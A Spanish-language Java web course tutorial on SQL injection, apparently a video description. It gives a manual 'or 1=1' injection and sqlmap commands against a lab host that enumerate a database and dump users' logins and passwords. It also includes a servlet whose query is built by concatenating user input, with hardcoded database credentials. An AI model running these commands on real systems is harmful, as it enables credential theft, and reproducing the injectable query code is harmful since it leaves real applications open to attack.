Java Web desde cero en Netbeans ☁️[22.- Que es SQL Inyección? y como usar sqlmap]

En este tutorial vamos a aprender a menejar SQL Inyección? en nuestras consultas de mysql y ademas usaremos sqlmap para hacer inyecciones mas avanzadas para poder sacar mas información que de forma manual.

Injeccion de codigo sql de forma manual:
SELECT * FROM productos where existencia=’39’;
SELECT * FROM productos where existencia=’39’ or ‘1=1’;

Descubrir la BD
sqlmap -u http://192.168.8.103/cat.php?id=2 –dbs

Descubrir las Tablas
sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog –tables

Descubrir las Columnas
sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog -T users –columns

Obtener los datos
sqlmap -u http://192.168.8.103/cat.php?id=2 -D photoblog -T users -C id,login,password –dump

Codigo: https://github.com/programadornovato/javaWeb/commit/73f68b671a5129a1319e79367f4d1ff0c1d74432

package Servelets;

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.sql.*;
import com.mysql.jdbc.Driver;

/**
 *
 * @author eugenio
 */
@WebServlet(name = "Empleados", urlPatterns = {"/Empleados"})
public class Empleados extends HttpServlet {

    Connection con = null;
    Statement st = null;
    ResultSet rs = null;

    /**
     * Processes requests for both HTTP <code>GET</code> and <code>POST</code>
     * methods.
     *
     * @param request servlet request
     * @param response servlet response
     * @throws ServletException if a servlet-specific error occurs
     * @throws IOException if an I/O error occurs
     */
    protected void processRequest(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        try (PrintWriter out = response.getWriter()) {
            /* TODO output your page here. You may use following sample code. */

            try {

                Class.forName("com.mysql.jdbc.Driver");
                con = DriverManager.getConnection("jdbc:mysql://localhost/jsp?user=eugenio&password=123456");
                st = con.createStatement();
                String query="SELECT * FROM `empledos` ";
                String where=" where 1=1 ";
                String nombre=request.getParameter("nombre");
                if(nombre!=null){
                    where=where+" and nombre='"+nombre+"' ";
                }
                query=query+where;
                rs = st.executeQuery(query);
                while (rs.next()) {

                    out.print("<tr>"
                            + "<th scope=\"row\">" + rs.getString(1) + "</th>"
                            + "<td>" + rs.getString(2) + "</td>"
                            + "<td>" + rs.getString(3) + "</td>"
                            + "<td>" + rs.getString(4) + "</td>"
                            + "<td>"
                            + "  <a href=\"editar.jsp?id=" + rs.getString(1) + "&nombre=" + rs.getString(2) + "&direccion=" + rs.getString(3) + "&telefono=" + rs.getString(4) + "\"><i class=\"fa fa-pencil\" aria-hidden=\"true\"></i></a>"
                            + "  <a href=\"borrar.jsp?id=" + rs.getString(1) + "\" class=\"ml-1\"><i class=\"fa fa-trash\" aria-hidden=\"true\"></i></a>"
                            + "</td>"
                            + "</tr>"
                    );

                }
            } catch (Exception e) {
                out.print("error mysql " + e);
            }

        }
    }

    // <editor-fold defaultstate="collapsed" desc="HttpServlet methods. Click on the + sign on the left to edit the code.">
    /**
     * Handles the HTTP <code>GET</code> method.
     *
     * @param request servlet request
     * @param response servlet response
     * @throws ServletException if a servlet-specific error occurs
     * @throws IOException if an I/O error occurs
     */
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        processRequest(request, response);
    }

    /**
     * Handles the HTTP <code>POST</code> method.
     *
     * @param request servlet request
     * @param response servlet response
     * @throws ServletException if a servlet-specific error occurs
     * @throws IOException if an I/O error occurs
     */
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {
        processRequest(request, response);
    }

    /**
     * Returns a short description of the servlet.
     *
     * @return a String containing servlet description
     */
    @Override
    public String getServletInfo() {
        return "Short description";
    }// </editor-fold>

}


<%@page contentType="text/html" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" rel="stylesheet" integrity="sha384-wvfXpqpZZVQGK6TAh5PVlGOfQNHSoD2xbE+QkPxCAFlNEevoEH3Sl0sibVcOQVnN" crossorigin="anonymous">
        <title>Lista de empleados</title>
    </head>
    <body>
        <%
            HttpSession sesion = request.getSession();
            if (sesion.getAttribute("logueado") == null || sesion.getAttribute("logueado").equals("0")) {
                response.sendRedirect("login.jsp");
            }
        %>
        <div class="container">
            <nav class="navbar navbar-light bg-light">
                <a class="navbar-brand">Programador novato</a>
                <form class="form-inline" action="logout.jsp">
                    <a href="datosUsuario.jsp"><i class="fa fa-user-circle" aria-hidden="true"></i> <%= sesion.getAttribute("user")%></a>
                    <button class="btn btn-outline-danger my-2 my-sm-0 ml-2" type="submit">Log out</button>
                </form>
            </nav>
            <div class="row mt-2">
                <div class="col-sm">
                    <form action="index.jsp" method="get">
                        <table class="table table-striped">
                            <thead>
                                <tr>
                                    <th scope="col" class="text-center"></th>
                                    <th scope="col" class="text-center">
                                        <input type="text" name="nombre" class="form-control" placeholder="Buscar por nombre"/>
                                    </th>
                                    <th scope="col" class="text-center">
                                        <input type="submit" value="Buscar" name="buscar" class="form-control btn btn-primary" />
                                    </th>
                                    <th></th>
                                    <th scope="col" >
                                        <a href="crear.jsp"><i class="fa fa-user-plus" aria-hidden="true"></i></a>
                                    </th>

                                </tr>
                                <tr>
                                    <th scope="col">ID</th>
                                    <th scope="col">Nombre</th>
                                    <th scope="col">Direccion</th>
                                    <th scope="col">Telefono</th>
                                    <th scope="col">Acciones</th>
                                </tr>
                            </thead>
                            <tbody>
                                <jsp:include page="Empleados"/>
                            </tbody>
                        </table>
                    </form>
                </div>
            </div>
        </div>
    </body>
</html>

Curso de Java de 0 a 100: https://www.youtube.com/playlist?list=PLCTD_CpMeEKTT-qEHGqZH3fkBgXH4GOTF

? Esta lista de reproducción: https://www.youtube.com/playlist?list=PLCTD_CpMeEKRAgcBmPee0Wjx5HsJ0nb0L
Codigos en gdrive: https://drive.google.com/file/d/10uLG9o2oDV-qB32G4kMIpzXgLCiUYaYz/view?usp=sharing

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